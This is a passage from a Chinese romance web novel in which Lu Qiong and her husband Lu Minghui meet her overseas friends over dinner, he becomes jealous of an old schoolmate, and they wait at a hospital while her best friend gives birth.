“我的错。”周之浔为表歉意,下车来给两位女士打开后排车门:“晚高峰,咱们车上聊?” 路琼和葛晚棠、Brody一起坐在后排,Brody要左拥右抱,他霸占上中间的位置。 七座SUV后排三个成年人并不拥挤。 葛晚棠上车就问:“你们仨怎么碰到一起的?” Brody抢先回答:“我和之浔哥在飞机上碰到的,同一班来沪市。” 周之浔微侧着头,后排情形不能全部纳入,但驾驶位后面的座位一目了然:“Brody说下飞机就来找你们,我想着也很久没见到你们,就跟过来了。” 他开玩笑:“你们不会怪我不请自来吧?” 就坐他后面的葛晚棠手伸到前方拍他肩膀:“浔哥,现在男绿茶已经不吃香了,你换一套。” 周之浔虚心求教:“那什么人设吃香?” 葛晚棠暂时想不出:“反正男绿茶在我们仨这里不吃香。” 周之浔这才真正回头,问他们仨都吃什么人设。 Brody立刻举手,再指向驾驶位开车的司机,还腻歪地戳戳迟恒肩膀。 迟恒反手捏捏他指尖,Brody就娇羞捂脸。 做作得葛晚棠都没眼看,她竖掌挡住左眼角,把Brody从她视野里剔除,回周之浔:“我喜欢奶狗,路琼喜欢孔雀。” 路琼没懂这个市面上的稀有人设:“什么孔雀?” “又傲又嘴毒。”葛晚棠精辟总结:“陆明霁多符合。” 路琼觉得一般。 陆明霁还是更像波斯猫,外面漂亮内里柔软。 这么想着,她倒真想养一只波斯猫,回家跟陆明霁商量一下。 周之浔送上迟到的祝福:“还没祝你新婚快乐。” 路琼笑的真诚:“谢谢学长。” 周之浔续上葛晚棠那个话题,困惑路琼的择偶条件:“还以为你会找一个成熟稳重的人在一起,更适合你。” 路琼只谈过陆明霁这一个,在没遇见陆明霁之前她从未构想过理想型具体是什么样子,遇到陆明霁之后,她的理想型就是陆明霁。 是陆明霁给她的理想型定型,而非她对照着理想型才找到陆明霁。 适不适合的—— “我喜欢的就是适合我的。” “路琼就够稳重的了,再找个稳重的多没意思。”葛晚棠精准比喻:“又不是玩跷跷板。” 一句话把车上人都逗笑。 收到Brody邀约时,葛晚棠就订好餐厅。 是上次她被她爸骗来相亲的那家私房菜馆,菜品味道不错,环境优美。 仿中式园林的装修风格正好给Brody这个外国佬小开一下眼。 等周末有空再带他去苏城大开眼界。 五个人分坐在餐桌两边,周之浔和迟恒坐一边,Brody还是插在两位女士中间,力做今晚的主角。 路琼她们仨点菜,周之浔和迟恒就帮他们用热水烫碗筷。 点完菜,葛晚棠瞧着对面做事一丝不苟的迟恒,嘶声:“他又去哑巴培训班进修了?” 从见面到现在,只有在她们上车时,迟恒跟她们打过招呼,还是挥手,那张金嘴就是不张开,酷哥形象贯穿到底。 Brody有个中国妈,中文一样是他的母语,他听懂葛晚棠的拐弯抹角,替夫不平:“这叫个性,你不懂不要乱讲话。” 葛晚棠翻白眼:“恋爱脑没治。” 她把Brody推向路琼那边:“你俩锁死。” Brody就势倒在路琼肩膀靠着:“琼,我们两个和她绝交吧?” 路琼敷衍嗯声,她一心扑在手机里,正问陆明霁晚上吃什么,要不要她打包带回去。 她没避着人,Brody堂堂正正窥屏,心直口快:“他没饭吃吗?那你怎么不叫他一起来啊。” “下次。”路琼想过要不要叫上陆明霁,但考虑到今晚主要是为Brody接风,她带陆明霁来重心就会偏移,不太好:“下次我们两个请你们吃饭,再专门介绍你们认识。” Brody讲话自带感叹号:“好的!” 周之浔挨个给他们倒茶水,从迟恒开始绕一圈,最后一杯茶放到路琼面前:“什么时候,别是等到我回美国之后。” 路琼道声谢谢:“还没问,学长你这次回国是?” 周之浔家里早就移民美帝,外公那边还在沪市,他这次回来是看望外公。 路琼让他多待几天,这顿饭肯定在他回美国前吃上。 周之浔不打一声招呼就回来,葛晚棠不免想坏:“是外公怎么了吗?” 周之浔摇头:“没有,单纯想老人了。” Brody吹着并不热的茶水,悠哉地拆台:“他是为了躲避他妈安排的相亲,跑回来躲清闲。” 一提起相亲俩字葛晚棠就头疼,她深受其害:“相亲是现在的潮流吗,怎么到处都在相亲。” 路琼这个已婚人士事不关己,高高挂起。 喝着茶跟陆明霁聊天。 陆明霁问她在哪吃饭,她把定位发给他。 葛晚棠抱怨完,话锋又一转:“不过哥你这年纪阿姨着急也正常,我还没到三十我爸就一场接一场给我安排了。” 周之浔挑眉:“我很老吗?” 迟恒嘴巴开机:“一点点。” 一点点老。 葛晚棠一口水呛在嗓子眼,路琼抽空抬眸看一眼迟恒,唇角上翘没憋住笑。 Brody团起一团餐巾纸丢过去:“诶呀你瞎说什么!快闭嘴!” 迟恒就是这样,每次聚会说的话一只手能数清,但总能爆梗,让人啼笑皆非。 周之浔不恼,端起茶杯跟他碰一下:“有空约一场。” 迟恒说可以。 是约网球,他俩的共同爱好。 葛晚棠自己身陷囹圄,更有兴趣打听别人的困境,好以此寻求平衡:“浔哥,阿姨给你介绍的人有你喜欢的吗?” 菜上来两道,是路琼爱吃的麻辣牛柳,周之浔叫服务生搁到路琼那边,回葛晚棠:“没有。” “那你喜欢什么样的?”葛晚棠不喜欢被牵线,但她喜欢做牵线人:“我身边要是有符合你要求的单身人士,我就当个媒婆,也算了阿姨一桩心愿。” 周之浔拿起茶杯,敛眉做沉思状,眼睛不易察觉往路琼那儿落一下。 她脸上漾着笑,手指在屏幕上轻点,对他们这边的聊天内容并不是很感兴趣。 他放下茶杯:“喜欢不喜欢我的。” 葛晚棠笑:“要挑战高难度,是吧?” 周之浔不置可否。 五个人里葛晚棠最先回国,齐聚还是她回国前一天,路琼回国前他们都各自有工作脱不开身,去年三月底到今年整一年没见,再有葛晚棠和Brody一唱一和,饭桌上话题就没断过。 一顿饭用将近三个小时吃完,刚撂下筷子,陆明霁就问路琼什么时候结束,路琼回“马上”二字。 说好迟恒请客,周之浔先一步递卡。 然后被告知他们这个包厢已经结过账。 问是谁,服务生说是陆先生。 葛晚棠订的包厢就是上次她相亲那间,包厢到院外停车场七拐八绕,走过既定拐角,画面与路琼决定去找陆明霁结婚的那天晚上重合。 路琼看到陆明霁,看到齐盛卿。 这次不是他们两个单独,多一个魏锦航。 葛晚棠也发现熟人,她后退一步找路琼:“你老公。” Brody眼睛瞪成铜铃,四处张望:“哪里!哪里!在哪里?” 他脑袋转来转去,头发搔到迟恒鼻子,痒得他要打喷嚏,两只手圈住他脖子,大拇指抵住他后脑勺:“别动了。” Brody就只活动眼珠子。 前方就三个人,两男一女。 纵使葛晚棠没指清是哪一个,周之浔还是将目光盯在陆明霁身上。 随后他就看见陆明霁在身边人的提醒下望向他们这里。 再走过来。 是Brody那大嗓门吸引到魏锦航,魏锦航下意识循声找,在看到那一行人中有路琼,他瞬间就想通陆明霁一顿饭磨磨蹭蹭吃那么久是在抽什么疯。 齐盛卿认识葛晚棠,都不用猜:“那就是路琼?” 陆明霁有个白月光前女友这码事圈子里人尽皆知,他前女友的名气比他还要大。 此前齐盛卿不知道路琼叫什么,是刚才吃饭陆明霁磨洋工,魏锦航说路琼不催你回家这一句,她才得知路琼的名字。 齐盛卿还问什么时候和好的,陆明霁那一句婚内追求也把她给噎个半死。 魏锦航嗯一声:“咱俩今晚就是他用来等老婆的工具人。” 齐盛卿左跨一步,划出楚河汉界:“我不是工具人,我是来还人情的。” 魏锦航:“……” 得。 大学就被陆明霁拿来当四年工具,工作后还是没能逃脱。 陆明霁迈出第一步,路琼就没再动,立在台阶上等他。 陆明霁走到路琼面前,手递给她。 路琼牵住。 第47章 路琼,过来 陆明霁手腕微动,五指插.进她指缝,十指相扣。 路琼迈下台阶,鞋尖抵住他的鞋尖,风衣衣摆蹭着他小腿。 “怎么没跟我说你也在?” 怪不得他问她在哪吃,哪个包厢。 服务生告知是陆先生结账,她还当他在家。 “有什么可说的。” 他就爱闷声干大事。 “碰上了那就今天给你介绍一下。”计划赶不上变化,路琼侧身站到他身边:“葛晚棠你认识,他们是我在国外另外的三个朋友。” 周之浔离她最近,她先介绍他,依次是迟恒、Brody。 陆明霁挨个同他们握手,轮到Brody,他浅浅一碰就松开。 Brody和周之浔才下飞机,长途飞行最耗精力,Brody和迟恒今后就定居沪市,周之浔也会在国内都留一段时间,叙旧不急于一时,路琼带陆明霁认识完她的朋友后,几人就分别。 Brody跟迟恒咬耳朵,说悄悄话:“我感觉路琼的老公对我有敌意。” 迟恒把他脑袋推开一点:“谁让你假扮路琼男朋友。” Brody又靠回去,喊冤:“可我又不是直男,而且你也说了是假扮!” 迟恒不听他辩解:“那你也是占了人家朋友圈的位置。” Brody转过弯来:“你也很介意这件事是不是?” 他挖掘到真相,骄傲哼声:“你们都是小气鬼。” 路琼无从得知Brody在他们走后对陆明霁进行的分析与吐槽。 前院齐盛卿、魏锦航还没走,礼貌性等着他们。 陆明霁领着路琼折回,魏锦航抬手打了个招呼。 他再替陆明霁委屈,再埋冤路琼也不会表现在面上,说到底那只是人家两个的事情,他个第三人没资格插手。 齐盛卿不用陆明霁引荐,她自报家门,伸出手:“早就听说过你,今天终于见到真人了。” 她打趣二人:“陆明霁的白月光果然名不虚传,这么漂亮难怪忘不掉。” 陆明霁皱起眉头:“齐盛卿你嘴要是闲就去找点瓜子磕。” 路琼牵着陆明霁的那只手背到身后,拽得他也挪动一步,她回握齐盛卿:“谢谢,你也很漂亮。” 齐盛卿瞧见路琼制止陆明霁的小动作,一笑:“你可得好好管管他,我们这一圈人没少挨怼,再这么下去他把我们都得罪光,就孤家寡人一个了。” 陆明霁不屑一顾。 他就是沦落到孤家寡人也不需要他们陪伴。 他只需要—— 低头,收紧手,握住路琼那根在他掌心乱画圈的拇指。 不想再跟无关紧要的人浪费时间,陆明霁轰人:“没话就别硬找了,又不熟。” 齐盛卿有眼力见:“行,我们走行了吧,少爷。” 魏锦航已经无语到失去拌嘴的力气,摆摆手,跟齐盛卿一块走了。 陆明霁好长一段时间都没再喝酒,路琼和他一起时很少碰方向盘,专心坐车就好。 他开得车又换回那辆宾利Batur。 陆明霁眼光真挺好,之前那辆阿斯顿马丁One77,现在这辆宾利,他挑的车都很配他的气质。 高贵中带着那么点清雅。 上车系好安全带,路琼开启盘问模式:“你怎么也在这?” 陆明霁怀疑路琼没带脑子:“吃饭啊,不然我过来刷盘子?” “你知道我问的不是这个。” “我不知道,我又不是你肚子里的蛔虫。” 路琼不再吱声,好整以暇瞅着陆明霁。 车外路灯明明灭灭投射进来,路琼的视线、陆明霁的脸时亮时暗。 十字路口红灯转绿,陆明霁踩油门加速。 经过第一盏灯,路琼看到陆明霁淡定的侧脸。 经过第三盏灯,路琼看到陆明霁嘴角些微绷直。 经过第五盏灯,陆明霁动手捏住路琼下巴,把她脸扭向前方。 路琼就没放他走,抓住他手。 不再追问,她已经得到答案,陆明霁就是来装偶遇的。 陆明霁挣开她,理由相当正义:“别影响我开车,安全驾驶你我他。” 路琼就笑,不厌其烦地骚扰他:“齐盛卿、葛晚棠都说过,你们那个圈子里都知道你有个白月光。” 陆明霁嗤声:“道听途说你也信,你们记者遇事都不求证的?” “我这不就是来求证了吗。”路琼促狭眨动两下眼睫,食指点他手臂,她相信陆明霁的车技能保证他们的平安:“所以是真的吗?” “都是他们瞎传的。”陆明霁不堪其扰,只得将她闹腾不停的手主动握住:“你少给自己贴金。” “我又没说你那个白月光就是我。” “……” 她的套路把戏简单到三岁小孩都能识破,偏偏他总是能上当受骗。 陆明霁决心要扳回一城,靠边停车,安全带解开扔掉,卡扣磕到车门,发出闷响,他掌住路琼脖颈,拇指按在她下巴处,侧额吻住她那张喋喋不休惹人讨厌的嘴巴。 * 翌日清晨,一道来电铃声划破卧室内的静谧温馨。 路琼被吵到,耳朵刺得慌,拉高被子盖住脑袋往陆明霁怀里钻。 陆明霁也给吵醒,被路琼压着的那条胳膊回弯,隔着被子不知道捂没捂对地方,他一边暗骂扰人清梦的傻逼一边摸到自己手机。 摄像头识别到他人脸,屏幕自动亮起。 锁屏界面干干净净,什么都没有。 “……” 他拍拍怀里那坨被子:“你的电话。” 路琼置若罔闻,装死。 陆明霁真想抖开被子,最好把路琼抖下床,但他身体诚实地撑起来,越过路琼伸长手臂去够她放在她那边床头柜上的手机,腰还被人趁机抱住揩油。 拿到手机,看清来电备注,他再叫路琼:“谷蕴柠的电话。” 路琼活过来,从被子里探出一只手。 陆明霁将手机交到她掌心,她手又缩回去,另只手还抱着他腰。 被子鼓起一个山丘,几撮长发冒出,凌乱无序地摊在枕头上。 陆明霁鬼鬼祟祟地低下头,唇贴上那几缕发尾。 没等他结束这个吻,被子嚯一下掀开,一股大力冲向他,他后脑磕到床板,有海绵垫着倒是不疼,鼻梁实打实被撞,鼻腔泛起酸楚逼得他眼里浮现生理性泪水,他揉着鼻梁啧声。 路琼跪坐在床上,长发蓬乱,睡裙一侧肩带滑落,露出半边雪白,大腿并拢,小腿往两侧岔开。 挺活色生香的一幕。 路琼没给陆明霁多久欣赏的时间,说句“我就到”挂断电话后拍打陆明霁:“去医院,谷蕴柠要生了!” 一阵兵荒马乱。 从大学起,彭靖驰就一直在提出一个疑问,他问谷蕴柠:如果有一天我和路琼同时掉进水里你救谁? 谷蕴柠毫不犹豫选择路琼。 彭靖驰很是受伤,就去找陆明霁抱怨路琼和谷蕴柠的感情为什么那么好? 好到她生孩子,他这个孩子爸爸可以不在,但是路琼必须要在。 谷蕴柠是睡醒一觉起床要去上卫生间,自己绊倒自己,跌坐在地毯上,这一刺激就催动生产。 好在离预产期也不剩几天,不算早产。 是凌晨一两点发生的事情,谷蕴柠没惊动任何人,推进待产室待产,等到天亮彭靖驰才通知两家父母和路琼。 路琼和陆明霁赶到医院,谷蕴柠恰好宫口全开要被推进产房,一见到路琼,谷蕴柠悬在眼眶里的眼泪就啪嗒啪嗒掉,她松开彭靖驰的手朝路琼伸。 谷蕴柠另只手攥着她亲妈,彭靖驰就是有一万个不愿意也不敢让岳母腾地方。 只好让位给路琼。 姐妹两个手握在一起,谷蕴柠哭得更厉害,她不是害怕,纯属是被疼哭:“疼死我了路琼。” 路琼抹掉她额头细密的汗珠,第一次遇到这种情况,磕磕绊绊安慰她:“别哭了,我在外面等你,帮你看着彭靖驰。” 谷蕴柠开宫口时就骂过彭靖驰,还没解气,她拜托路琼:“彭靖驰但凡有一秒钟走神,你就撕了他。” 路琼应好。 没说上几句话,谷蕴柠就进到产房里。 手术室门一合,彭靖驰整个人卸力,往后倒在陆明霁身上。 陆明霁不怎情愿地扶着他:“至于么你,出息。” 彭靖驰有进气没出气:“你没老婆你不懂。” “……” 谁说他没有。 陆明霁瞟一眼手术室门口,路琼面露焦急等在那儿。 “我有老婆也不会要孩子。” …… 只有谷蕴柠亲妈进去陪产,外面的人都不了解手术里面的情况,等待就变得无比漫长。 彭靖驰一会儿站一会儿坐,一会儿又去手术室门口蹲着,没人管他。 路琼和陆明霁站在窗户边,有一搭没一搭地闲聊着。 路琼挽着他手臂,两只手捏着他手指玩:“你猜是男孩还是女孩?” 谷蕴柠和彭靖驰都没有查过性别,就是为保持神秘和惊喜。 是男是女都好。 陆明霁兴致寥寥,垂眸睨着路琼在他指腹留下一个又一个指甲印:“不知道。” 路琼换个贴近他们两个的问法:“你喜欢男孩还是女孩?” 陆明霁撩起眼皮:“我不喜欢小孩。” “那我们以后不要孩子吗?” 路琼对小孩子谈不上喜欢也谈不上讨厌,但就她现在的心态而言,她会觉得小孩子是个麻烦。 她还有许多事情没做,还有很多地方没去看,不太想被束缚。 “要那干嘛,吵得要死。” 陆明霁想到每年过年家里走亲戚拜年,一群小屁孩围着他叽叽喳喳要压岁钱的场面就烦。 他也不会让路琼受生孩子那种罪。 “不是都说小孩是父母生命的延续吗,你不想要一个?” 两人还从未聊过这种人生话题,路琼挺好奇陆明霁的想法。 “什么狗屁理论,它能给我续命那才叫生命的延续。”陆明霁似笑非笑地觑着路琼,拿乔:“再说你还没追到我呢,考虑那么远干嘛。” 路琼刺探信息,挠着陆明霁掌心,嗓音刻意放轻:“那我什么时候能追到你?” 她屈着左腿站,时间一长腿有点僵,正要换成右腿,眼前一黑,人微晃。 腰一紧,嗅到的橘子清香骤然浓郁,鼻尖碰到一处坚硬,她落入陆明霁怀抱。 陆明霁刚刚也没好好站,此刻单手圈着她腰,另只手把着窗栏稳住他们两个:“不舒服?” 等眼前重新恢复清晰,路琼半趴在陆明霁怀里,下巴抵着他肩膀,之前磕到的应该是他锁骨。 “没吃早饭,低血糖吧。” 出国前三餐规律,从未有过低血糖,出国后忙的话一日就一餐,隔三差五就发晕。 他们早上接到电话就洗漱出门,水都没喝上一口更别提早饭。 现在十点多,都要到午饭时间。 陆明霁气恼他的粗心。 别人老婆生孩子管他什么事,自己老婆早饭都没吃才要紧。 他轻捋路琼后背,等她缓过那股劲儿,下楼去买吃的。 又过五分钟,手术室大门一点要打开的迹象都没有,陆明霁也没回来。 路琼感到小腹一股暖流涌出。 算算日子,大姨妈也就这几天。 幸好她包里常备卫生巾。 跟彭靖驰说一声,路琼去卫生间。 医院每一层的卫生间设在楼梯处,路琼洗干净手出来,擦手的纸巾丢进垃圾桶。 身后一道男声喊她:“路琼。” 路琼驻足侧目:“学长?” 周之浔从楼梯上来。 两人异口同声一句:“你怎么在这?” 说完,又相视一笑。 “我来看我朋友。”路琼问他:“你呢。” 周之浔答:“一样,我来探望个长辈。” “让一让!让一让!” 与楼梯口同一面的电梯门打开,护士推着坐在轮椅上的孕妇出来,一个男人紧跟在侧一手高举输液瓶。 走廊行人纷纷避让。 一彪形大汉急速躲避时踩到路琼,她躲避不及,人往一边倒去,周之浔反应快,环抱住她。 路琼后背撞进周之浔胸膛。 孕妇安然无恙进入病房,走廊秩序再次嘈杂起来。 大汉连连道歉,他自知体重,见路琼那么瘦,还问她要不要去检查一下,怕给她踩坏。 路琼说没事,哭笑不得地送走那位大哥。 “真没事?”周之浔神情关切:“有什么就说,跟我不用不好意思。” 路琼惊觉离周之浔太近,后退拉开距离:“真没事,我又不是玻璃做的。” 周之浔虚扶在她身侧的手放下:“那就好。” “路琼。” 人来熙攘间,一道铭记于心尖的清朗男嗓传入耳中。 路琼回首望去。 陆明霁在她三步外站定,一手揣兜,一手垂在身侧拎着几分餐点,下颔高傲微抬。 如炬目光在周之浔脸上扫向路琼:“过来。” 第48章 雄性动物 路琼朝陆明霁走时,陆明霁揣在裤兜里的手就伸出来,路琼握住。 这一套动作娴熟自如到像是做过无数遍,浑然天成的亲密。 陆明霁低眸:“疼不疼?” 她出门随便穿的一双便于行动的平底帆布鞋,白色,鞋头橡胶部分一个脚印张牙舞爪。 他跟孕妇同乘一部电梯,一出来就看到左边走廊尽头的路琼。 很奇怪,又不是正对面,任谁出电梯都会先看正前方,他就是一眼在踵踵人群中找到路琼。 看到她被人踩到,他那时候离得远,孕妇在前面他又不好恣意妄为,耐着性子缀在孕妇后面,再看到她被另一个男人抱住。 是真不疼,她又不是瓷娃娃一碰就碎,但路琼说:“疼。” 陆明霁是她老公,不是朋友不是别人,她自会换一套说辞:“走不了了,你抱我?” 陆明霁那个比用来裹冰糖葫芦的糯米纸还薄的脸皮,大庭广众之下肯定不会做这种事,大学时她当着他舍友们的面亲他一下,据说他都能耳朵红两节课。 那时他们两个出去玩,爬山爬到一半她就装走不动逗他,让他抱或者背,他就躁郁着一张脸说路琼你别装,路琼不动也不说话,他便别别扭扭地蹲下,一边说下次再也不跟她出门一边背着她到山顶。 六年后,路琼要赌一把他还会不会为她妥协。 “拿着东西不好抱,背你吧。” 说着,陆明霁就要蹲下。 路琼试验成功,不用再体验实验成果。 她挺惊讶陆明霁的痛快,拦住他:“吓唬你的,我不疼。” 离开太久,不知道谷蕴柠那边情况如何,她催促:“我们回去等吧。” “嗯。” 路琼脸扭向周之浔,跟他道别:“学长我们就先走了,有空约。” 周之浔点头:“好。” 陆明霁慢于路琼转身,轻飘飘朝周之浔落一眼。 周之浔同样回看他,笑意未减。 一次无声又短暂的眼神交锋。 领地意识是雄性动物的天性,一旦察觉到所属领域有陌生物闯入,敏锐分辨出是否有敌意,否则相安无事,是则会通过各种手段与方式来圈占、标记自己的领地以及领地里的所有物。 男人的天性就是一种最原始的雄性冲动。 陆明霁收回视线,手臂一动,挣开路琼挽着他的手,改成搂她腰。 一侧肩膀挡住路琼一半身体。 他看得清楚,周之浔抱住路琼后眼里流露出的担心远超过普通朋友的范畴。 路琼大概率是不知道他心意,否则不会跟他做这么多年的朋友。 她不是那种在得知对方爱慕她还能心安理得同他交朋友的人。 昨晚他光顾着敌视Brody,没工夫搭理他人。 由此忽略掉真正觊觎路琼的人。 这男人,挺会装。 藏得还挺深。 腰间的手越来越紧,路琼探知不到陆明霁的内心,她只觉得痒得难受,覆上陆明霁手背:“怎么了,捏我干什么?” 陆明霁压下不爽,哼声:“捏捏你还剩几两肉,瘦的麻杆一样,丑死了。” 路琼讨要他的心疼:“国外饭不好吃。” 陆明霁骂她:“活该。” “你把肉给我养回来。” “我才不管你。” 路琼歪着脑袋找他正脸:“真的不管?” 陆明霁坚持到底:“不管。” 路琼一哦,反其道而行之:“那饿死我吧。” “……” 陆明霁又狠捏一把她腰。 …… 回到产房前,谷蕴柠还没出来。 陆明霁就在医院超市里买了些饭团、三明治、牛奶豆浆之类的东西,两家长辈没心情吃但也都接下这份好意。 彭靖驰蹲在产房门口像个潦倒流浪汉,陆明霁过去踢踢他,给他一个饭团一瓶水,彭靖驰说不吃。 就知道会是这样,陆明霁就是象征性走个流程。 折回路琼那儿,两人在窗边两个连成一排的长椅坐下。 陆明霁眼里揉不得沙子,路琼鞋上的脚印就是在挑战他的视觉底线,从装食物的塑料袋里翻出一包湿巾,蹲到她面前,给她擦鞋。 路琼在喝豆浆,嘴里含着的吸管蓦地咬成折叠形状,她吐掉吸管:“不用擦了,回家刷。” 陆明霁一手攥住她后缩的脚腕,一只膝盖下压至险些触地,黑发垂在额前挡住他眼眸:“擦擦就干净了你非要留到回家,你邋不邋遢。” 暖意自被他握着的脚腕涌入心底。 热得路琼心怦怦跳。 易骏他们最后被通知,姗姗来迟,从拐角过来,最先看到的是那么低眉顺眼伺候人的陆明霁。 一拨人就顿在那儿。 “今天谷蕴柠是主角,陆哥抢人风头不好吧?”赵言钊犹疑发言:“而且在医院求婚不太吉利吧?” “你眼屎糊住眼珠子了?”易骏照着他后脑勺扇一巴掌:“求个屁婚,陆明霁那是给人擦鞋呢。” “不是他们什么时候和好的?”李牧满脑袋问号:“还有是谁说陆明霁现在脊梁骨邦邦硬的,他那腰杆都要弯成折叠屏了。” 易骏捂上自己的脸,他在前方替兄弟吹牛逼,兄弟在后方啪啪打他脸。 三人还没议论完,那边陆明霁擦干净鞋印站起来,转头见到杵在几步外一言难尽瞅着他的三人,神色不动,丢完垃圾坐回路琼身边,把他们统统当成透明空气。 都懂分寸,今天不是路琼和陆明霁的主场,易骏他们都憋着没问。 中午十二点整,紧闭的产房门打开。 彭靖驰蹭一下起立,先问护士谷蕴柠怎么样,得到安然无事的回答,打兴奋剂一样从半死不活到满血复活。 是个男宝宝。 皱皱巴巴的是看不出五官像谁更多。 谷蕴柠产后虚弱,没那么多精力,众人送她回病房后就挨个撤退,不打扰她休息。 路琼陪的时间长些,如实相告彭靖驰片刻不离,就在产房门口守着。 那谷蕴柠也不领他的情,她在里面疼得死去活来彭靖驰就是在外面等成化石都不过分。 聊了两句,谷蕴柠眼皮子打架要睡觉,路琼和陆明霁也就走。 谷蕴柠合眼前,瞥见他们两个同出病房的背影,念头一闪而过。 还没细想,就陷入沉睡。 彭靖驰半个月前就开始休陪产假,琅域所有事情现在都交给陆明霁,下午公司有个例会要开,他不能缺席。 路琼早上跟葛晚棠请的一整天假,现在谷蕴柠完事,她闲着也是闲着,不如回尚嘉赚钱。 两人在外面找家餐厅吃完午饭,再回家换衣服。 匆匆忙忙赶到医院都是随手抓的衣服,上班穿不合适。 路琼昨天没开车,还是由陆明霁送她。 下车前路琼照旧亲他脸颊作为告别,陆明霁接受能力良好,且已经猜到她会亲自己,没再有那么大反应,心跳只加快一点点。 目送着路琼进楼,陆明霁手指敲打着方向盘若有所思。 片刻后,拿起手机给左柯让发消息,消息列表、好友列表都翻到底也没找到左柯让,记起他删除表弟好友快一个月,改成打电话。 或许在忙,忙音嘟嘟半天才接。 态度不怎么好:“说。” 陆明霁理直气壮指使他,没半点删除好友的羞愧:“查个人。” 左柯让真是服气,他爸干警察的他又不是,他们父子关系还不好,怎么一个两个都找他查户口:“没空。” 陆明霁捏他命门:“你四五岁招惹奶奶家隔壁邻居那条罗威纳,反过来被它追到哭着爬树的视频我还有。” 气定神闲地抛出筹码:“我觉得邬思黎会感兴趣。” 邬思黎是左柯让老婆,除奶奶外,第二个能制服左柯让的人。 左柯让立马就改口,为维护他自身形象,他语气都变得恭敬起来:“哥,查谁你说。” “名字一会儿短信发你。” 陆明霁稍顿,还是没有提路琼。 左柯让帮忙查人都查出经验来,没一个是正经用途,全部都是感情用事:“跟嫂子有关?” 他立贴心弟弟人设:“那用不用再帮你查查他跟嫂子的事?” 陆明霁说不用。 路琼把周之浔当朋友。那相处就不会越界。 她不是犯人,他没资格调查她。 路琼正常交友他没权利干涉,但他有权利清扫不正常交友的人。 * 路琼上楼时给葛晚棠发消息说一声她回来了。 葛晚棠就下楼来找,路琼前一秒才坐下她后一秒就推门进来。 葛晚棠是来给路琼送邀请函。 “下周有个AI峰会,朱新源跟线索,我那份邀请你替我去。” 路琼翻开邀请函看两眼:“你怎么不去?” 葛晚棠在她对面坐下,生无可恋地靠着椅背,双腿交叠,单脚踩着地面操纵着椅子左转右转:“这峰会我爸也去,我不能见到他,我为了躲他都搬到锦云湾住了。” 父女俩一见面没别的事,就相亲一个话题可聊,她接手公司后,她爸就是半退休人员,更有闲心为她寻找配偶。 锦云湾是她私有房产,她爸不知道。 “你说周之浔三十五了他妈着急情有可原,我爸凑什么热闹。” 路琼打开电脑,下一期杂志的几篇稿子还没润色修改。 她随口出着馊主意:“要不你俩凑合一下打个配合?” “诶?”葛晚棠一个弹起,闪亮着眼睛,没两秒钟又靠回去,否定驳回:“不行。” 她望着天花板,愁绪万千:“按照我爸那严格挑选女婿的标准,他肯定会调查,冲周之浔平均两个月换一次床伴这一点我爸就不会同意,到时候再以我看人不准为由管我管得更严。” 路琼审核着稿子,边献上虚假姐妹关怀:“心疼你。” 葛晚棠讽刺地掀掀嘴角:“虚伪。” 她指控路琼:“当初是谁说,对婚姻不抱期待的?” 路琼纠正当初自己的语误:“结婚对象是陆明霁的话,可以值得期待。” 葛晚棠呵呵假笑两声。 她扭头瞅路琼:“不过说真的,我真没想到你们两个这么骚操作,哪对分手六年的情侣再重逢一上来就结婚啊?” 路琼也没想到。 她是计划着慢慢来,陆明霁那么骄傲的一个人,被她当众言语羞辱甩掉,怎么会轻易原谅她。 她都做好被他恨一辈子的准备。 可听到他要相亲,她就坐不住了。 此后事态发展全部脱轨。 让徐奶奶放心只是她为满足私心的一个借口,陆明霁不会不懂,他却还是愿意给她机会。 彭靖驰他们总说陆明霁脾气又大又臭,性格难搞,但她哄他根本不费吹灰之力。 医院里他给她擦鞋那一幕闪过脑海。 她好像, 很快就又能追到陆明霁了。 路琼一笑。 陆明霁还是那么好追。 第49章 不期而遇 谷蕴柠是顺产,生产过程难熬些,生完后就一身轻松,没有什么不适和并发症。 第二天还下床走动了一会儿。 路琼晚上下班去看她,在国外时就准备好的一把纯金长命锁带来送给宝宝。 谷蕴柠瞧着路琼,总感觉有件事要问,一时又想不起来。 再晚些,陆明霁过来,谷蕴柠还没开骂赶人,路琼洗好毛巾从卫生间里出来。 两人在卧室门口碰上,路琼唠家常似的蹦出一句:“你来啦。” 陆明霁点头嗯声,问她手里那什么东西。 路琼说是专门给宝宝擦脸的小毛巾。 他们两个这一问一答,把谷蕴柠看的是一愣又一愣。 过会儿彭靖驰端着碗燕窝进来,瞅见自己老婆傻呆在床上,再瞅见房间里多出来的不速之客,就了然是怎么回事。 他坐到病床边,舀起一勺燕窝喂谷蕴柠,顺便做个好人,替路琼和陆明霁宣布好消息:“就是你看到的那样,他俩和好了。” 再暗戳戳告状:“昨天你在产房的时候这俩就在外面腻歪。” 彭靖驰全身心都系于谷蕴柠,但他没瞎也没傻。 路琼和陆明霁就在他眼皮子底下调情,他想不知道都难。 谷蕴柠推开递到嘴边的勺子:“等会儿。” 她把两个男人轰出去,单独留下路琼。 捋捋思绪,先抓紧要的一点:“你不是有男朋友?” “Brody是个gay。” 路琼难得心虚,领证这事都出乎她的意料,她一直都没想好要怎么告诉身边的朋友们,葛晚棠知晓也是聊天时顺口一带,不是刻意。 在谷蕴柠发飙之前,路琼快速、简略地讲述一遍前因后果。 谷蕴柠听后很平静,只问:“我是不是第一个知道的?” 路琼不敢撒谎,说Brody、葛晚棠他们知道她领证,但是:“你是第一个知道的最完全的。” 谷蕴柠有被安抚到一点,她捂着肚子:“行了你走吧,我伤口疼,得缓缓。” 路琼很想接一句你是顺产没用开刀,话到嘴边及时憋回去。 后面两天路琼再去医院,谷蕴柠都对她爱答不理,等到唐慕芮和麦青腾出空来沪市看谷蕴柠,谷蕴柠找到同伴,好一顿控诉路琼的隐瞒。 于是三人就在病房里对路琼进行了一番长达一小时的讨伐,最终以取消路琼今年收新年礼物的资格收场。 谷蕴柠不好好理会路琼那两天,陆明霁差一点就跟她吵起来。 他都没冷落过路琼那么久,谷蕴柠她哪来的胆子,念及真吵起来路琼夹在中间会更为难,他就勉强压着火。 姐妹几个重归于好将这码事翻篇后,陆明霁也挺上道的给谷蕴柠她们仨一人送了一个包,以路琼的名义。 但路琼不知道这件事,陆明霁没说。 谷蕴柠猜到是陆明霁的手笔,因为这个牌子的包要配货要排队,这么快拿到后门走得得硬,而陆明霁一个表姐是这个牌子的亚太区负责人。 跟另外两个通过信,要她们别跟路琼讲。 就让陆明霁做个做好事不留名的活雷.锋。 * 周二。 AI金融峰会在沪市湾谷科技园举办。 上午十点半开始,下午四点钟结束。 为期一天,分为上下午两场。 